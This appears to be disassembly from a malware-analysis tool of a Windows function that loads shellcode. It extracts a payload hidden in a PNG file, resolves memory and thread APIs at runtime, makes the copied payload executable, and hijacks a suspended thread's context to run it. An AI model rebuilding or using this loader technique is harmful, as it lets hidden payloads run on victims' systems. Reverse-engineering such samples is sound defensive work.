Function at 0x140001978
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rbx
sub rsp, 0x5a8
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x4b7]
mov qword [rbp + 0x4b8], rax
nop
nop
lea rdx, [rbp + 0x4b7]
lea rax, [rbp + 0x490]
mov r8, rdx
lea rdx, str.rrrs.png
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
nop
lea rax, [rbp + 0x490]
mov rcx, rax
call dbg.readAndOutputAfterPattern(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
cmp eax, 1
sete al
test al, al
je 0x1400019e2
mov ebx, 1
jmp 0x140001dba
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x518], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x510], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x508], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.GetThreadContext
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.SetThreadContext
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f8], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.pVirtualFree
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4f0], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.CloseHandle
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4e0], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.ResumeThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x518]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x4d0], rax
mov rbx, qword [rbp + 0x510]
lea rax, [0x1400f2030]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::size() const
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call rbx
mov qword [rbp + 0x4c8], rax
cmp qword [rbp + 0x4c8], 0
jne 0x140001b97
lea rax, str.Memory_allocation_failed_
mov rdx, rax
mov rax, qword [0x1400c7f00]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140001dba
lea rax, [0x1400f2030]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::size() const
mov rbx, rax
lea rax, [0x1400f2030]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::data()
mov rdx, rax
mov rax, qword [rbp + 0x4c8]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rbx, qword [rbp + 0x508]
lea rax, [0x1400f2030]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::size() const
mov rdx, rax
lea rcx, [rbp + 0x48c]
mov rax, qword [rbp + 0x4c8]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
call rbx
test eax, eax
sete al
test al, al
je 0x140001c40
lea rax, str.Failed_to_change_memory_protection_
mov rdx, rax
mov rax, qword [0x1400c7f00]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140001dba
lea rax, [0x1400f2030]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::clear()
lea rax, [0x1400f2030]
mov rcx, rax
call dbg.std::vector<unsigned char, std::allocator<unsigned char> >::shrink_to_fit()
mov rax, qword [rbp + 0x4e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9d, 0
lea r8, [dbg.ThreadProc(void*)]
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x4c0], rax
cmp qword [rbp + 0x4c0], 0
jne 0x140001caa
mov ebx, 1
jmp 0x140001dba
mov dword [rbp - 0x20], 0x10000b
mov r8, qword [rbp + 0x500]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call r8
test eax, eax
sete al
test al, al
je 0x140001cef
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call rdx
mov ebx, 1
jmp 0x140001dba
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0xa8], rax
mov r8, qword [rbp + 0x4f8]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call r8
test eax, eax
sete al
test al, al
je 0x140001d57
mov r9, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x4c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
call r9
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call rdx
mov ebx, 1
jmp 0x140001dba
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call rdx
mov r8, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x4c0]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov r9, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x4c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
call r9
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call rdx
mov ebx, 0
lea rax, [rbp + 0x490]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
mov eax, ebx
jmp 0x140001dea
add rsp, 0x5a8
pop rbx
pop rbp
ret